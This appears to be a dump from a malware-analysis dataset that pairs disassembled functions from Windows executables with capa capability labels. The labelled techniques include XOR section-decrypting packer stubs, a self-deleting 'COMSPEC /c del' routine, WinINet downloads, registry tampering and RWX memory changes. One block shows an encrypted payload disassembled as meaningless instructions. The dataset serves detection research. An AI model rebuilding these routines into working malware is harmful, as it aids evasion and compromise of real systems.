joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406384
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x4063a8
xor eax, eax
test eax, eax
je 0x4063bb
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x4063bb
xor ecx, ecx
jmp 0x4063be
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x409014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x4064a5
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x426d8c], 0
push esi
jne 0x4064dc
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4064b6
mov dword [ecx*4 + 0x426d88], eax
inc ecx
cmp ecx, 0x100
jl 0x4064b1
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x40650d
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x426d88]
xor eax, esi
inc ecx
dec edx
jne 0x4064ef
pop edi
not eax
pop esi
ret 0xc

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp fcn.00401219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
mov ecx, 0xbe6610e
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x2eac3837
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x40152c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
xor esi, esi
push ebx
sub esp, 0x2c
mov ebx, dword [ebp + 0xc]
mov dword [esp + 8], esi
mov dword [esp + 4], esi
mov dword [esp], 0x40000
call dword [sym.imp.KERNEL32.dll_HeapCreate]
xor edx, edx
sub esp, 0xc
mov edi, eax
mov dword [esp + 8], 0xa
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
sub esp, 0xc
mov esi, eax
test ebx, ebx
jle 0x4015ad
xor ecx, ecx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov esi, eax
sub esp, 0x10
xor eax, eax
cmp eax, ebx
jge 0x4015ad
mov ecx, dword [ebp + 0x10]
mov edx, eax
and edx, 7
mov dl, byte [ecx + edx]
mov ecx, dword [ebp + 8]
xor dl, byte [ecx + eax]
mov byte [esi + eax], dl
inc eax
jmp 0x401592
mov dword [esp], esi
call fcn.004014f9
xor eax, eax
xor edx, edx
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
mov dword [esp + 8], 0x4014f0
mov dword [esp + 4], edx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40160b
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push ebp
xor ecx, ecx
mov ebp, esp
push edi
push esi
push ebx
xor ebx, ebx
sub esp, 0x3c
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x1c], ecx
mov dword [esp + 8], ebx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 1
mov dword [esp + 4], 2
mov dword [esp], 0x40d040
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ebx, eax
dec eax
sub esp, 0x20
cmp eax, 0xfffffffd
ja 0x4016b0
xor ecx, ecx
mov dword [esp], ebx
mov dword [esp + 4], ecx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push edx
push edx
test eax, eax
je 0x4016b0
test esi, esi
jle 0x40169b
xor edx, edx
lea eax, [ebp - 0x1c]
mov dword [esp + 8], esi
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 4], edi
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x14
test eax, eax
jne 0x4016a7
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
jmp 0x4016b0
mov eax, dword [ebp - 0x1c]
add edi, eax
sub esi, eax
jmp 0x401672
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x401b50
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40d0b0]
test esi, esi
jle 0x401c70
mov eax, dword [0x40d0b4]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401b84
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401c07
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401b70
mov dword [esp], ebx
call fcn.00402540
mov edi, eax
test eax, eax
je 0x401c97
mov eax, dword [0x40d0b4]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00402680
mov edx, dword [0x40d0b4]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401c77
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401c00
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401c10
add dword [0x40d0b0], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x40d0b4]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401c00
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00401af0
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401b8e
mov eax, dword [0x40d0b4]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00401af0
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00401af0
lea esi, [esi]
nop

Function at 0x4021b0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x40d0cc
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40d0c4]
sub esp, 4
test ebx, ebx
je 0x402205
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x4021fe
test esi, esi
je 0x4021fe
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4021e0
mov dword [esp], 0x40d0cc
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402540
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402565
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402570
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402565
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x4025b8
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x4025ae
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x4025ba
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x4025a0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x401000
Capabilities:
Encode data using base64

Disassembly:
sub esp, 8
push ebp
mov ebp, dword [esp + 0x10]
mov dl, byte [ebp]
test dl, dl
je 0x4011a0
push ebx
push esi
mov esi, dword [esp + 0x1c]
push edi
mov bl, 0x3d
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 3
jb 0x4010be
mov al, byte [ebp + 1]
mov bl, dl
mov cl, byte [ebp + 2]
and dl, 3
shr bl, 2
mov byte [esp + 0x10], bl
mov bl, al
shl dl, 4
shr bl, 4
or dl, bl
and al, 0xf
mov byte [esp + 0x11], dl
mov dl, cl
shl al, 2
shr dl, 6
or al, dl
and cl, 0x3f
mov byte [esp + 0x12], al
mov byte [esp + 0x13], cl
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x11]
and eax, 0xff
and edx, 0xff
add ebp, 3
mov bl, 0x3d
mov cl, byte [eax + str.WXYZlabcd3fghijko12e456789ABCDEFGHIJKL_MNOPQRSTUVmn0pqrstuvwxyz]
mov byte [esi], cl
mov al, byte [edx + str.WXYZlabcd3fghijko12e456789ABCDEFGHIJKL_MNOPQRSTUVmn0pqrstuvwxyz]
mov ecx, dword [esp + 0x12]
mov byte [esi + 1], al
mov eax, dword [esp + 0x13]
and ecx, 0xff
and eax, 0xff
add esi, 4
mov dl, byte [ecx + str.WXYZlabcd3fghijko12e456789ABCDEFGHIJKL_MNOPQRSTUVmn0pqrstuvwxyz]
mov byte [esi - 2], dl
mov cl, byte [eax + str.WXYZlabcd3fghijko12e456789ABCDEFGHIJKL_MNOPQRSTUVmn0pqrstuvwxyz]
mov byte [esi - 1], cl
jmp 0x401186
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 1
jne 0x40110f
mov al, dl
and dl, 3
shr al, 2
shl dl, 4
mov byte [esp + 0x10], al
mov byte [esp + 0x11], dl
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x11]
and ecx, 0xff
and eax, 0xff
inc ebp
mov dl, byte [ecx + str.WXYZlabcd3fghijko12e456789ABCDEFGHIJKL_MNOPQRSTUVmn0pqrstuvwxyz]
mov byte [esi], dl
mov cl, byte [eax + str.WXYZlabcd3fghijko12e456789ABCDEFGHIJKL_MNOPQRSTUVmn0pqrstuvwxyz]
mov byte [esi + 1], cl
mov byte [esi + 2], bl
mov byte [esi + 3], bl
jmp 0x401183
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 2
jne 0x401186
mov al, byte [ebp + 1]
mov cl, dl
shr cl, 2
mov byte [esp + 0x10], cl
and dl, 3
mov cl, al
and al, 0xf
shl dl, 4
shr cl, 4
or dl, cl
shl al, 2
mov byte [esp + 0x11], dl
mov byte [esp + 0x12], al
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0x11]
and edx, 0xff
and ecx, 0xff
mov al, byte [edx + str.WXYZlabcd3fghijko12e456789ABCDEFGHIJKL_MNOPQRSTUVmn0pqrstuvwxyz]
mov byte [esi], al
mov eax, dword [esp + 0x12]
mov dl, byte [ecx + str.WXYZlabcd3fghijko12e456789ABCDEFGHIJKL_MNOPQRSTUVmn0pqrstuvwxyz]
and eax, 0xff
mov byte [esi + 1], dl
add ebp, 2
mov cl, byte [eax + str.WXYZlabcd3fghijko12e456789ABCDEFGHIJKL_MNOPQRSTUVmn0pqrstuvwxyz]
mov byte [esi + 3], bl
mov byte [esi + 2], cl
add esi, 4
mov dl, byte [ebp]
test dl, dl
jne 0x40101c
mov byte [esi], dl
pop edi
pop esi
pop ebx
mov eax, 1
pop ebp
add esp, 8
ret
mov edx, dword [esp + 0x14]
mov eax, 1
pop ebp
mov byte [edx], 0
add esp, 8
ret
Function at 0x401750
Capabilities:
Create http request

Disassembly:
push ebx
push esi
push edi
push 0x32d
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, 0xcb
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, 0x403068
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push eax
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x1c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
mov esi, eax
mov eax, dword [esp + 0x18]
push 0x80000000
push 0
push 0
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
test eax, eax
jne 0x4017eb
pop edi
pop esi
pop ebx
ret
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push eax
call edi
push esi
call edi
pop edi
pop esi
mov eax, 1
pop ebx
ret

Function at 0x401800
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ecx
push ebx
push ebp
push 0
push 0
push 0
push 0
push str.Internet_Surf
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
mov ebp, eax
mov eax, dword [esp + 0x14]
push 0x80000000
push 0
push 0
push eax
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
test ebx, ebx
jne 0x401839
pop ebp
pop ebx
pop ecx
ret
push esi
push edi
push 0x100
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
mov ecx, 0x40
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
add esp, 4
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], eax
push ecx
push 0xff
push esi
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call edi
push ebp
call edi
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x401880
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Self delete

Disassembly:
sub esp, 0x348
lea eax, [esp + 0x3c]
push ebx
push ebp
push esi
push edi
push 0x104
xor edi, edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x4019d0
lea ecx, [esp + 0x4c]
push 0x104
lea edx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x4019d0
lea eax, [esp + 0x254]
push 0x104
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x4019d0
lea ecx, [esp + 0x150]
push str._c_del
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x4c]
lea eax, [esp + 0x150]
push edx
push eax
call esi
lea ecx, [esp + 0x150]
push str.___nul
push ecx
call esi
mov dword [esp + 0x18], edi
lea edx, [esp + 0x254]
lea eax, [esp + 0x150]
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x100
mov dword [esp + 0x14], 0x3c
mov dword [esp + 0x20], str.Open
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], eax
mov dword [esp + 0x18], 0x40
call edi
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0xf
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push eax
call ebp
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x4019c2
mov edx, dword [esp + 0x48]
push 0x40
push edx
call esi
mov eax, dword [esp + 0x48]
push 1
push eax
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
lea ecx, [esp + 0x4c]
push 0
push ecx
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x348
ret
push 0x20
call edi
push eax
call esi
push 0
call ebx
push eax
call ebp
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x348
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
je 0x432072
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x441010d0
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
loop 0x432060
nop
nop
nop
mov eax, section..reloc
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4320d2
nop
mov ebx, 0x42f314
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x6eea2b14
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x91b8dc
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x91b8e2
pop ebp
sub ebp, 6
sub ebp, 0x51b8dc
jmp 0x91b940
jmp 0x91b949
mov eax, 0x51b8dc
add eax, ebp
add eax, 0x93
mov ecx, 0x62a
mov edx, 0xe5a94452
xor byte [eax], dl
inc eax
dec ecx
jne 0x91b960
jmp 0x91b973
cmp byte [edx], dl
cmp dl, byte [edx + 0x42]
push edx
push edx
cmp dl, byte [edx - 0x62]
jle 0x91b9d1
popal
xchg edx, eax
add ch, byte [ebp + 0x15b36ec7]
push edx
add bl, cl
lahf
fstpnce st(3), st(0)
outsb dx, byte [esi]
push edx
push edx
push edx
rcl dword [ebx + 0x525252aa], cl
push ecx
lahf
ljmp 0x7ae8
pop edx
push edx
push edx
push edx
fld st(7)
pop esi
push edx
push edx
push edx
fstpnce st(7), st(0)
inc edx
push edx
push edx
push edx
xchg ebx, eax
mov ebx, 0xd1506350
nop
push esi
sbb ebx, dword [ebp - 0x29]
cmpsb byte [esi], byte es:[edi]
lodsd eax, dword [esi]
lodsd eax, dword [esi]
lodsd eax, dword [esi]
seto byte [esi + 0x52]
fstpnce st(6), st(0)
jbe 0x91ba4e
push edx
push edx
push edx
cmp bl, byte [edi + 0x68]
pop ebx
push edx
cmp bl, byte [edi + 0x53521a2c]
jle 0x91ba7e
add edi, dword [edx + 0x52525257]
mov ebx, 0x52525013
pop es
fistp qword [esi]
jbe 0x91ba6a
lodsd eax, dword [esi]
daa
pop esi
lodsd eax, dword [esi]
daa
pop edx
mov edx, 0x52525220
invalid
test eax, 0x48d65dba
push edx
push edx
push edx
shr byte [ecx + 0x43d65dbb], cl
push edx
push edx
push edx
xor al, 0xd3
test eax, 0xd65d77ad
inc edi
push edx
push edx
push edx
adc edi, dword [ebx - 0x52525262]
jnp 0x91ba90
imul edx, dword [ebx - 0x2f], 0xffffff93
push edi
sar dword [edx - 0x521044aa], 1
lodsd eax, dword [esi]
lodsd eax, dword [esi]
jnp 0x91ba87
imul edx, dword [eax - 0x2f], 0xffffff93
push esp
sar dword [eax + 0x57bad156], 1
mov eax, 0x57bad156
mov ebx, 0xadadadf9
lodsd eax, dword [esi]
seto byte [esi + 0x52]
pop es
fnstcw word [esi - 0x26f8fafc]
daa
pop esi
fldcw word [edi]
pop edx
scasb al, byte es:[edi]
loopne 0x91ba76
fcom dword [ebx + edx*8 - 0x6c]
push ebx
push edx
push edx
push edx
ficom dword [ebp - 0x2d]
xchg ebp, eax
push ebx
push edx
push edx
push edx
jmp 0x52e40d09
Function at 0x40159c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp + 8]
push ebx
push eax
xor ebx, ebx
push 0x20019
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4015c1
xor eax, eax
jmp 0x40161e
push esi
lea eax, [ebp + 0xc]
push edi
push eax
lea eax, [ebp - 4]
push ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push eax
push ebx
or edi, 0xffffffff
push dword [ebp + 0x10]
push dword [ebp + 8]
call esi
test eax, eax
jne 0x40160c
mov eax, dword [ebp + 0xc]
cmp eax, dword [ebp + 0x18]
jge 0x40160c
lea eax, [ebp + 0xc]
inc dword [ebp + 0xc]
push eax
lea eax, [ebp - 4]
push dword [ebp + 0x14]
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp + 8]
call esi
mov edi, eax
cmp edi, ebx
je 0x40160c
mov eax, dword [ebp + 0x14]
mov byte [eax], bl
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp edi, ebx
pop edi
pop esi
sete al
pop ebx
leave
ret

Function at 0x4016aa
Capabilities:
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
cmp dword [ebp + 0x14], edi
jne 0x4016de
lea eax, [ebp + 0xc]
push eax
push 0x2001f
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4016ff
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x401720
lea eax, [ebp + 8]
push eax
lea eax, [ebp + 0xc]
push eax
push edi
push 0x2001f
push edi
push edi
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x401703
xor eax, eax
jmp 0x401740
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push dword [ebp + 0x14]
push 1
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
neg esi
sbb esi, esi
inc esi
cmp dword [ebp + 0x18], edi
je 0x401735
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebp
ret
Function at 0x401a5c
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
push 0x2001f
push dword [ebp + 8]
mov ebx, ecx
xor esi, esi
lea ecx, [ebp - 4]
push dword [ebx]
mov dword [ebp - 4], esi
call fcn.00401b40
mov edi, eax
cmp edi, esi
je 0x401a9c
cmp dword [ebp - 4], esi
je 0x401a95
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
jmp 0x401b39
lea eax, [ebp - 0x14]
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push eax
push esi
push esi
lea eax, [ebp - 8]
push esi
push eax
lea eax, [ebp - 0x114]
mov dword [ebp - 8], 0x100
push eax
push esi
push dword [ebp - 4]
call edi
test eax, eax
jne 0x401b0d
lea eax, [ebp - 0x114]
lea ecx, [ebp - 4]
push eax
call fcn.00401a5c
cmp eax, esi
mov dword [ebp - 0xc], eax
jne 0x401afa
lea eax, [ebp - 0x14]
mov dword [ebp - 8], 0x100
push eax
push esi
push esi
lea eax, [ebp - 8]
push esi
push eax
lea eax, [ebp - 0x114]
push eax
push esi
push dword [ebp - 4]
jmp 0x401abf
cmp dword [ebp - 4], esi
je 0x401b08
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0xc]
jmp 0x401b39
cmp dword [ebp - 4], esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
je 0x401b20
push dword [ebp - 4]
call edi
mov dword [ebp - 4], esi
push dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
cmp dword [ebp - 4], esi
mov ebx, eax
je 0x401b37
push dword [ebp - 4]
call edi
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x401bdf
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x180
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
push esi
cmp eax, ebx
push edi
je 0x401cb4
xor ecx, ecx
cmp byte [eax], 0x22
mov byte [ebp - 0x180], 0x22
sete cl
mov edi, ecx
cmp edi, ebx
je 0x401c0e
inc eax
lea ecx, [ebp - 0x17f]
push 0x122
push ecx
push eax
call fcn.004017bd
add esp, 0xc
test eax, eax
je 0x401cb4
cmp dword [ebp + 0xc], ebx
jne 0x401caf
cmp byte [ebp - 0x17f], 0x22
je 0x401caf
xor esi, esi
cmp edi, ebx
jne 0x401c51
lea eax, [ebp - 0x180]
push 0x404044
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0xf
xor eax, eax
pop ecx
lea edi, [ebp - 0x4c]
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x50], ebx
rep stosd dword es:[edi], eax
cmp esi, ebx
lea eax, [ebp - 0x17f]
jne 0x401c75
lea eax, [ebp - 0x180]
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x54]
push ecx
push ebx
push ebx
push 0x20
push ebx
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401cb4
cmp dword [ebp - 0xc], ebx
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x401ca0
push dword [ebp - 0xc]
call esi
cmp dword [ebp - 0x10], ebx
je 0x401caa
push dword [ebp - 0x10]
call esi
push 1
pop eax
jmp 0x401cb6
push 1
pop esi
jmp 0x401c51
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret